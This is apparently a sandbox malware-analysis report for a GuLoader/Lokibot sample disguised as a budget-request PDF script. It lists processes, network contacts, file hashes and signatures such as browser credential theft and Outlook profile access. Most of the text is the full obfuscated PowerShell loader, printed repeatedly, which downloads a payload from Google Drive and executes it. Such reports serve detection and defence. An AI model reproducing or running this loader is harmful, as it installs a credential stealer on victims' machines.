eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.18.190.71:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/2772-4-0x000007FEF45EE000-0x000007FEF45EF000-memory.dmp
memory/2772-5-0x000000001B550000-0x000000001B832000-memory.dmp
memory/2772-6-0x0000000002820000-0x0000000002828000-memory.dmp
memory/2772-7-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/2772-8-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/2772-9-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/2772-10-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/2772-11-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/2772-13-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/2772-14-0x000007FEF45EE000-0x000007FEF45EF000-memory.dmp
memory/2772-15-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IOKFD8TV5E8BZYQIAKQK.temp
| MD5 | 9b94e4ec94ba57496ceef5336981ff33 |
| SHA1 | 446e7a5140a9e48ad1dc5f930d03fbd7e2ccf835 |
| SHA256 | 814d89cf30523ea43db93b36ec93c1510f4649aece0bc551698f4458d016e44e |
| SHA512 | ae6cde6e472fc47564094cdb1cad713e97fdfb7c2bfbe3f6f079df325cdfa1af7ba27c785133db8975603cc3cebe8948910e68bdc4af8b86b46eaff52b90936a |
C:\Users\Admin\AppData\Roaming\Bardehval.Enz
| MD5 | e048f9895e60b14e68f76e0fcadd5d08 |
| SHA1 | 5a0e7bbb4c32a5aab5d3b85ffd49b89b745e3c8a |
| SHA256 | 5db5b10985a7f39cc9fcfc42b352709355f3b83a724b9fa24b8806c9feb3b029 |
| SHA512 | 5ef521cee99243aef2621caac9f0ae85357ee4ab84b80452dfe473d473e9a0e965717d5abd3445f73456104afbe76b6e819e666f77df4bb32b6cb7132ce069f0 |
memory/2204-20-0x0000000006690000-0x000000000BFEF000-memory.dmp
memory/1108-21-0x0000000000680000-0x0000000005FDF000-memory.dmp
memory/1108-23-0x0000000000400000-0x0000000000581000-memory.dmp
memory/2772-46-0x000007FEF4330000-0x000007FEF4CCD000-memory.dmp
memory/1108-45-0x0000000000680000-0x0000000005FDF000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-17 03:56
Reported
2024-09-17 03:59
Platform
win10v2004-20240802-en
Max time kernel
147s
Max time network
150s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 5012 set thread context of 4364 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for budget 09-17-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer 